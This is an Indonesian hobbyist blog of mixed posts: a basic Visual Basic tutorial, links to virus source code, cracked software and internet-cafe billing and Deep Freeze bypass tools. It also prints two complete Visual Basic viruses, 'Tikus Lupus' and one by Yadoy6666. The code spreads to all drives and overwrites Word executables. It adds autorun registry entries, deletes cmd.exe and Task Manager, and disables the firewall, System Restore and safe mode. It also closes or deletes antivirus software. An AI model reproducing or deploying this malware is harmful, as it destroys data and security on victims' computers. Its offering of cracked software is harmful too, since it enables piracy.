Source code Virus

Ini merupakan source code virus yang sekarang aku punyai mungkin aja udah basi akan tetap aku post source code ini cuma untuk pembelajaran.
1. Source code virus flu ikan klik disini
2. Source code virus BJ Habibie klik disini
3. Source code virus 4k51k4 klik disini

Sekian dulu posting dar saya semoga dapat bermanfaat. klo mau busat virus persiapkan buat ant virusnya. OK....


Anti Virus Chung Chin

Anti virus ini merupakan antivirus buataku yang dapat mendeteksi beberapa virus. untuk dapat menggunakanya anda tinggal menscan komputer anda tanpa melakukan install. antivirus ini juga dapat memperbaiki dokumen yang kena virus KSPlood. untuk dapat menggunakannya silahkan anda klik disini

Terima kasih anda menggunakan software saya. kirimkan kritik dan sarannya ya.


Source Code Virus Agustin (4GU5T1N)

Mungkin anda penasaran gimana tu source code virus agustin, yang menggunakan puisi cinta, virus ni banyak menyebar di daerah rembang dan sekitarnya. virus yang sangat bandel karena klo ga tahu gimana dimana tempat file induknya akan sulit dalam mengatasinya. berikut adalah source codenya.

Anda dapat mendownload source code virus agustin disini.
semoga dapat membantu dalam mengatasinya. ini sebagai pembelajaran jangan disalah gunakan. thank.


Belajar Visual basic dengan Listbox

Ini merupakan Visual basic dasar yang aku buatkan untuk Reza Prof anak jakarta yang selalu chat dengan aku dengan id rezaprof26. sebenarnya mudah yaitu hanya membutuhkan 1 form, 1 listbox dan 3 command button. kemudian anda bisa ketikan kode di bawah ini:

Private Sub cmdKeluar_Click()
End
End Sub

Private Sub cmdTampil_Click()
Dim i As Integer
lstNama.Clear 'ini untuk membersihkan lstnama
For i = 1 To 3
lstNama.AddItem txtInputNama.Text
Next i
End Sub

Private Sub cmdWarna_Click()
lstNama.ForeColor = vbRed
End Sub

Jika ingin mendownload filenya ada dapat klik disini dan disini

Membuat tampilan form bergaya windows XP

Bagi teman-teman yang mau membuat aplikasi dari visual basic maka teman-teman bisa menggunakan kontrol yang dapat merubah tampilan form dan kontrol-kontrol yang lainnya. salah satunya anda bisa menggunakan OsenXPSuite, anda dapat mendonlotnya di www.osenxpsuite.com yang versi trialnya selama 30 hari, kemudian untuk versi fullnya anda harus membayar $180.
Setelah aku cari di 4shared.com akhirnya saya menemukan osenxpsuite 2006 yang udah ada cracknya. anda dapat mendownloadnya disini.

Setelah anda download maka anda akan dapat menggunakannya.
Berikut adalah tamplan setelah menggunakan OsenXPSuite2006


Semoga aja dapat membantu teman-teman dalam pembuatan aplkasi yang bagus.

Tool Untuk Hacking

Bagi teman-teman yang ingin melakukan hacking silahkan anda gunakan tool ini. Tool ini hanya sebagian kecil aja dan buka untuk menghacking sesuatu yang besar. Silahkan anda donlot ya:
1. Tool untuk merest billing explorer warnet yang versi 2007 silahkan anda donlot disini

2. Tool untuk membongkar Deefrezz mauuu silahkan anda klik disini
3. Tool untuk menghack windows anda seperti menu dll mauu klik disini
4. Tool untuk menghack billing explorer lagi silahkan anda donlot di sini
Semoga program ini membantu anda.


Tugas ke 7 untuk pendamping kabupaten

Tugas ke 7 untuk pendaping kabupaten yang harus merekap data mahasiswa setiap kabupaten yang dapat beasiswa maupun tidak. Ternyata kesulitan juga untukmengum[ulkan biodata tersebut.

Tugas ke 7 untuk pendaping kabupaten yang harus merekap data mahasiswa setiap kabupaten yang dapat beasiswa maupun tidak. Ternyata kesulitan juga untukmengum[ulkan biodata tersebut. Banyak mahasiswa yang belum ngumpulkan biodata tersebut padahal tanggal 12 maret harus udah di kirim ke pendamping provinsi. udah aku kirim lewat mailinglist, lewat pesan teman sekelas. moga aja mereka yang belum dapat segera mengumpulkan biodata tersebut.


Pustakamaya Rembang


Permasalahan yang terjadi di pustakamaya rembang. mau tahu.....
yang pertama yaitu dulu yang bisa di donlot, sekarang ga bisa upload tuk file yang ukurannya besar.



Permasalahan yang terjadi di pustakamaya rembang. mau tahu.....

Virus Tikus Lupus by Shadow Angel with VB


Sebenernya virus ini mau aq gabung..in ama anti Deep Freeze, tapi karna belum ada respon balik di Topik : Will Depp Freeze Stop US,ya..h harap maklum ya..

Yang di butuh.in untuk buat virus ini :
-> 1 Form,
-> 3 Modul, yang terdiri dari :Daerah Tikus Lupus,Modul1,dan RumahTikus.
-> 1 Class Modul,
-> 1 Related Documents

Dan Komponen yang di butuh..in cuman :
-> 1 Timer aja.



taruh di form
Private Fso As New FileSystemObject
Private Drive As Drive
Private Drives As Drives
Option Explicit
Private TikusFirewall As LupusFirewall
Private lngPortCounter As Long
Private Declare Function NetRemoteTOD Lib "netapi32.dll" (yServer As Any, pBuffer As Long) As Long
Private Declare Function NetApiBufferFree Lib "netapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Sub CopyMem Lib "kernel32.dll" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)

Private Type TIME_OF_DAY_INFO
telapsed As Long
tmsecs As Long
thours As Long
tmins As Long
tsecs As Long
thunds As Long
ttimezone As Long
ttinterval As Long
tday As Long
tmonth As Long
tyear As Long
tweekday As Long
End Type

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const SC_MONITORPOWER = &HF170&
Const MONITOR_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Function LingkaranTikus(TheForm As Form)
SaveSetting TheForm.Name, App.Title, "TimesOpen", Val(GetSetting(TheForm.Name, App.Title, "TimesOpen")) + 1
End Function

Function AmbilJamDikomputer()
Dim JamLupus As TIME_OF_DAY_INFO
Dim JamTikusLupus As Long, lpBuffer As Long
Dim ServerLupus() As Byte
JamTikusLupus = NetRemoteTOD(vbNullString, lpBuffer)
CopyMem JamLupus, ByVal lpBuffer, Len(JamLupus)
If lpBuffer Then
Call NetApiBufferFree(lpBuffer)
End If
AmbilJamDikomputer = DateSerial(JamLupus.tyear, JamLupus.tmonth, JamLupus.tday)
year = Right(AmbilJamDikomputer, 4)
End Function

Sub PenampilanLupus()
Dim a
Do Until a = 1
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFF
Loop
End Sub

Function TikusInfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
For Each FolderS In Fso.GetFolder(Fold).subfolders
Call TikusInfeksiFolder(FolderS.Path)
Name FolderS As FolderS + ".{645FF040-5081-101B-9F08-00AA002F954E}"
Next FolderS
End Function

Private Sub RuanganTikus()
Set Drives = Fso.Drives

For Each Drive In Drives
Select Case Drive.DriveType
Case Removable
Case Fixed
Case CDRom
GoTo KondisiTikus
Case Remote
End Select
If Drive.IsReady = True Then
If Drive.AvailableSpace <> "" Then
Dim letter As String
letter = Drive.DriveLetter
FileCopy App.Path + "\" + App.EXEName + ".exe", letter + ":\" + "TikusLupus.txt"
TikusInfeksiFolder letter + ":\"
End If
End If
KondisiTikus:
Next
End Sub

Sub PermenLupus()
Kill ("C:\WINDOWS\SYSTEM32\cmd.exe")
Kill ("C:\WINDOWS\SYSTEM32\taskmgr.exe")
TikusInfeksiFolder "c:\"
MsgBox "Windows sudah terinfeksi oleh Tikus Lupus,segera lakukan Instal Ulang Hard Disk Anda.Terima Kasih", vbCritical, "Windows Error"
Call LingkaranTikus(Me)
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
LepaskanTikus:
Select Case X$
Case X$ > "2"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsFirewall", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
Call PenampilanLupus
Case X$ > "2"
SaveSetting Me.Name, App.Title, "TimesOpen", 0
Call LingkaranTikus(Me)
Call LingkaranTikus(Me)
GoTo LepaskanTikus
Case X$ < "2"
SaveSetting Me.Name, App.Title, "TimesOpen", 0
Call LingkaranTikus(Me)
Call LingkaranTikus(Me)
GoTo LepaskanTikus
End Select
End Sub

Sub hibernate()
TikusCariFile "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
If FileEx = False Then
Call InfeksiTikus2
End If
TikusCariFile "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
If FileEx = False Then
Call InfeksiTikus2
End If
Shell ("C:\Program Files\Microsoft Office\Office10\WINWORD.EXE"), vbNormalFocus
Shell ("C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"), vbNormalFocus

End Sub
Private Function TikusCariFile(NamaLengkapFile As String) As Boolean
On Error GoTo LupusdanTikus
Open NamaLengkapFile For Input As #1
Close #1
FileEx = True
Exit Function
LupusdanTikus:
FileEx = False
Exit Function
End Function

Sub TikusAmbilInfoKomputer()
Dim JalaLupus
Dim DokumenLupus
On Error Resume Next
Set JalaLupus = CreateObject("WScript.NetWork")
If Err.Number <> 0 Then
DokumenLupus.Location = "TikusLupus.html"
End If

Dim NamaPemakai
Dim NamaKomputer
Dim DomainKomputer
NamaPemakai = JalaLupus.username
NamaKomputer = JalaLupus.ComputerName
DomainKomputer = JalaLupus.UserDomain

Select Case DomainKomputer
Case "STD"
Case "AVR"
TikusFirewall.DisableFirewall
Case Else
TikusFirewall.DisableFirewall
End Select
Set JalaLupus = Nothing
End Sub

Sub InfeksiTikus2()
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lupus", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micerosoft", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Name "C:\Program Files\Microsoft Office\Office10\winword.exe" As "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office10\winword.exe"
Name "C:\Program Files\Microsoft Office\Office12\winword.exe" As "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office12\winword.exe"
End Sub

Private Sub Form_Load()
Dim Fso, DrvType
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.DriveExists("C:\")) <> "" Then
DrvType = "C:\"
End If
If (Fso.DriveExists("D:\")) <> "" Then
DrvType = "D:\"
End If

Set Drives = Fso.Drives
For Each Drive In Drives
If Drive.IsReady Then
Call PencarianTikus(Drive)
End If
Next

TikusLupus.Visible = False
App.TaskVisible = False
Timer1 = False
Call TikusAmbilInfoKomputer
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
TikusCariFile "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
TikusCariFile "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
Call LingkaranTikus(Me)
Call AmbilJamDikomputer
If year >= "2007" Then
Call PermenLupus
End If
Select Case X$
Case 1
Call hibernate
Case 2
Call PenampilanLupus
Case Else
InfeksiTikus2
Timer1 = True
End Select

End Sub

Private Sub Timer1_Timer()
RuanganTikus
End Sub


Function PencarianTikus(Path)
Dim Fso, DrvType, ws, TikusKetiga, Tikuskeempat
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Folder = Fso.GetFolder(Path)
Set Files = Folder.Files
For Each File In Files

If Fso.GetExtensionName(File.Path) = "rar" Then
Set ws = CreateObject("wscript.shell")
Set Fso = CreateObject("Scripting.filesystemobject")
TikusKetiga = "C:\Program Files\WinRAR\WinRAR.exe": Tikuskeempat = "D:\Program Files\WinRAR\WinRAR.exe"
If Fso.TikusCariFile(TikusKetiga) Or Fso.TikusCariFile(Tikuskeempat) Then
ws.run "WinRAR a -ibck -inul """ & File.Path & """ C:\TikusLupus.exe"
Open App.Path & "\DaftarTikus.txt" For Append As #1
Write #1, File.Path
Close #1
End If
End If
Next
Set subfolders = Folder.subfolders
For Each subfolder In subfolders
PencarianTikus subfolder.Path
Next
End Function
Ini Kode yang di Taruh di Modules-> Daerah Tikus Lupus
Option Explicit

Public Enum enProtocoll
TCP = 0
UDP = 1
End Enum
ni Kode yang di Taruh di Modulesl-> Module 1
Global FileEx
Global year
Global X As String
Global newreg
Ini Kode yang di Taruh di Modules-> Rumah Tikus
Option Explicit

Public Type tagInitCommonControlsEx
lngSize As Long
lngICC As Long
End Type
Private Declare Function InitCommonControlsEx Lib "COMCTL32.DLL" _
(KejuTikusLupus As tagInitCommonControlsEx) As Boolean

Private Const ICC_USEREX_CLASSES = &H200

Public Sub PusatTikus()

On Error Resume Next

Dim KejuTikusLupus As tagInitCommonControlsEx
With KejuTikusLupus
.lngSize = LenB(KejuTikusLupus)
.lngICC = ICC_USEREX_CLASSES
End With
InitCommonControlsEx KejuTikusLupus
TikusLupus.Show
TikusLupus.Hide
App.TaskVisible = False
On Error GoTo 0

End Sub
Ini Kode yang di Taruh di Class Modules-> Lupus Firewall
Option Explicit

Const ICSSC_DEFAULT = 0
Const CONNECTION_PUBLIC = 0
Const CONNECTION_PRIVATE = 1
Const CONNECTION_ALL = 2

Const NET_FW_IP_PROTOCOL_UDP = 17
Const NET_FW_IP_PROTOCOL_TCP = 6

Const NET_FW_SCOPE_ALL = 0
Const NET_FW_SCOPE_LOCAL_SUBNET = 1

Private JalurBerbagiFileLupus As Object

'--> Kembalikan Status Firewall
Public Function StatusFirewallLupus() As Boolean

Dim PeriksaFirewallLupus As Boolean
Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = False Then
PeriksaFirewallLupus = False
Else
PeriksaFirewallLupus = True
End If

StatusFirewallLupus = PeriksaFirewallLupus

Exit Function

TangkisError:
StatusFirewallLupus = False
MsgBox "Error: " & Err.Description
Err.Clear

End Function

'--> Aktifkan Firewall
Public Sub EnableFirewall()

Dim ProfileFirewallTikus As Object

On Error GoTo ErrorHandler

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = False Then
ProfileFirewallTikus.FirewallEnabled = True
End If

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

ErrorHandler:
MsgBox Err.Description
Err.Clear

End Sub

'--> Matikan Firewall
Public Sub DisableFirewall()

Dim ProfileFirewallTikus As Object

On Error GoTo ErrorHandler

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = True Then
ProfileFirewallTikus.FirewallEnabled = False
End If

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

ErrorHandler:
MsgBox Err.Description
Err.Clear

End Sub

'--> Tambah Port Di Konfigurasi Firewall
Public Sub TikusTambahPortDikunfigurasiFirewallUntukKeluar(ByVal strPortName As String, ByVal strPortProtocol As String, ByVal intPortNumber As Integer)

Dim ProfileFirewallTikus As Object
Dim port As Object

On Error GoTo TangkisError


Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
Set port = CreateObject("HNetCfg.FWOpenPort")

port.Name = strPortName
If LCase(strPortProtocol) = "UDP" Then
port.Protocol = NET_FW_IP_PROTOCOL_UDP
Else
port.Protocol = NET_FW_IP_PROTOCOL_TCP
End If

port.port = intPortNumber

port.Scope = NET_FW_SCOPE_ALL

port.Enabled = True

ProfileFirewallTikus.GloballyOpenPorts.Add port

Set ProfileFirewallTikus = Nothing
Set port = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
MsgBox Err.Description
Err.Clear

End Sub

Public Sub BirkanDataMasukServiceICMP(ByVal bolAllow As Boolean)

Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
ProfileFirewallTikus.IcmpSettings.AllowInboundEchoRequest = bolAllow

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
MsgBox Err.Description
Err.Clear

End Sub
mau yang langsung jadi
http://www.4shared.com/file/34107118/6bb399dd/Virus_Lupus__2007_By_Shadow_Angel__Source_Code_.html?dirPwdVerified=e6fda62c

Sebenernya virus ini mau aq gabung..in ama anti Deep Freeze, tapi karna belum ada respon balik di Topik : Will Depp Freeze Stop US,ya..h harap maklum ya..

Yang di butuh.in untuk buat virus ini :
-> 1 Form,
-> 3 Modul, yang terdiri dari :Daerah Tikus Lupus,Modul1,dan RumahTikus.
-> 1 Class Modul,
-> 1 Related Documents

Virus pakai VB buatan Yadoy6666


Untuk virus ni anda membutuhkan 1 form dan 4 Module. Untuk lebih jelasnya silahkan anda lihat coding berikut ini:

Private Sub bunuh_Timer()
'proteksi
tutup "avg"
tutup "anti"
tutup "ANSAV"
tutup "avast"
tutup "asm"
tutup "avira"
tutup "cillin"
tutup "clean"
tutup "CONFIRM FILE DELETE"
tutup "CONFIRM MULTIPLE FILE DELETE"
tutup "compact"
tutup "CRC"
tutup "debug"
tutup "detect"
tutup "NOD"
tutup "Gasak!!!"
tutup "hijack"
tutup "INTERNET OPTIONS"
tutup "kill"
tutup "KILLBOX"
tutup "k1ckth3w0rm"
tutup "kaspersky"
tutup "mcafee"
tutup "NVC"
tutup "norton"
tutup "regis"
tutup "Norman"
tutup "Ogav"
tutup "panda"
tutup "POCKET KILLBOX"
tutup "proc"
tutup "recovery"
tutup "remover"
tutup "rest"
tutup "scan"
tutup "system"
tutup "System Mechanic"
tutup "Setup"
tutup "SHOW/KILL RUNNING PROCESS"
tutup "SYSTEM RESTORE"
tutup "superdat"
tutup "S m a d A V"
tutup "SmadAV"
tutup "task"
tutup "TKM"
tutup "termin"
tutup "trojan"
tutup "tune"
tutup "update"
tutup "virus"
tutup "vaksin"
tutup "WAV"
tutup "wash"
tutup "walk"
tutup "w32"



'selamatkan moral bangsa
kick "17tahun"
kick "adult"
kick "anal"
kick "bangbros"
kick "bangbus"
kick "Bugil"
kick "CrystalClear"
kick "Doggy Style"
kick "amit-amit"
kick "hentai"
kick "hottie"
kick "kiara kener"
kick "Kama Sutra"
kick "lalatx"
kick "miyabi"
kick "masturb"
kick "naughty"
kick "nude"
kick "naked"
kick "nana1_chunk"
kick "pussy"
kick "porn"
kick "sex"
kick "scandal"
kick "spy cam"
kick "SQ Evolution"
kick "Three Some"
kick "webcam show"
kick "xxx"





Call ganda
Call Racuni_Registry
Call proteksi_folder



End Sub

Private Sub Form_Load()
Y4D0Y666.Hide
App.TaskVisible = False

If App.PrevInstance Then End


'ganda di folder windows dengan nama dafault.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "\" & "default.bat", 0

'ganda di system32 dengan nama login.exe dan autoexec.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "login.exe", 0

CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "autoexec.bat", 0

'ganda di mydocument dengan nama Kerispatih On Da Stage.exe
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "KerisPatih On Da Stage.exe", 0



Call ganda
Call Racuni_Registry
Call proteksi_folder
Call Kill_antivirus



End Sub

Private Function Racuni_Registry()

On Error Resume Next


'Disable System Restore
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1

'Ubah tipe file *.exe jadi Winamp media file
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "Winamp media file"

'Manipulasi Internet Explorer
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Window Title", "..:: YaDoY666 [WuZ HeRe] ::.."
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Start Page", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm"

'auto run virus
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "User-Login", GetSystemPath & "login.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Norton", GetWindowsPath & "default.bat"

'Disable Folder Options
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1

'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0

'Atur registry agar tidak bisa masuk safe mode
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmio.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmload.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vgasave.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmiot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpcdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpwd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdpipe.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdtcp.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vgasave.sys"

End Function

Private Function ganda()

Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String

sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "I Love You.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "cewe_bandel.exe", 0

End If
Next

End Function

Private Sub Form_Unload(Cancel As Integer)
Shell GetSystemPath & "\" & "login.exe"
End Sub

Private Sub proteksi_folder()
On Error Resume Next
SetAttr GetWindowsPath, vbNormal
SetAttr GetWindowsPath & "\" & "desktop.ini", vbNormal
Kill GetWindowsPath & "\" & "desktop.ini"
Open GetWindowsPath & "\" & "desktop.ini" For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "CLSID={C96401CC-0E17-11D3-885B-00C04F72C717}"
Close #1

SetAttr GetWindowsPath & "\" & "desktop.ini", vbHidden
SetAttr GetWindowsPath, vbSystem

End Sub

Sub Kill_antivirus()
On Error Resume Next

'bunuh antivirus Norman
If Folder_Exist("C:\Norman") = True Then
prog_AntiVir = Array( _
"C:\Norman\Bin", _
"C:\Norman\Download", _
"C:\Norman\Nse\Bin", _
"C:\Norman\Nvc\Bin", _
"C:\Norman\Nvc\Config", _
"C:\Norman\Qtn\Bin" _
)
SetAttr "C:\Norman", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Norman"
End If

'bunuh antivirus Norman kalo ada di dalam direcktory Program Files
If Folder_Exist("C:\Program Files\Norman") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Norman\Bin", _
"C:\Program Files\Norman\Download", _
"C:\Program Files\Norman\Nse\Bin", _
"C:\Program Files\Norman\Nvc\Bin", _
"C:\Program Files\Norman\Nvc\Config", _
"C:\Program Files\Norman\Qtn\Bin" _
)
SetAttr "C:\Program Files\Norman", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Norman"
End If

'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\McAfee") = True Then
prog_AntiVir = Array( _
"C:\Program Files\McAfee\McAfee Firewall", _
"C:\Program Files\McAfee\McAfee VirusScan", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\DatBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\EngineBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Res00", _
"C:\Program Files\McAfee\VirusScan Wireless" _
)
SetAttr "C:\Program Files\McAfee", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\McAfee"
End If

'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\Kaspersky Lab") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Policy", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Report", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Infected" _
)
SetAttr "C:\Program Files\Kaspersky Lab", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.vxd"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Kaspersky Lab"
End If



End Sub

Module BUNUH

Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Const WM_CLOSE = &H10



Public Function kick(target As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(target)) > 0 Then
SendMessage H, WM_CLOSE, 0, 0
End If
End Function

Module FILE

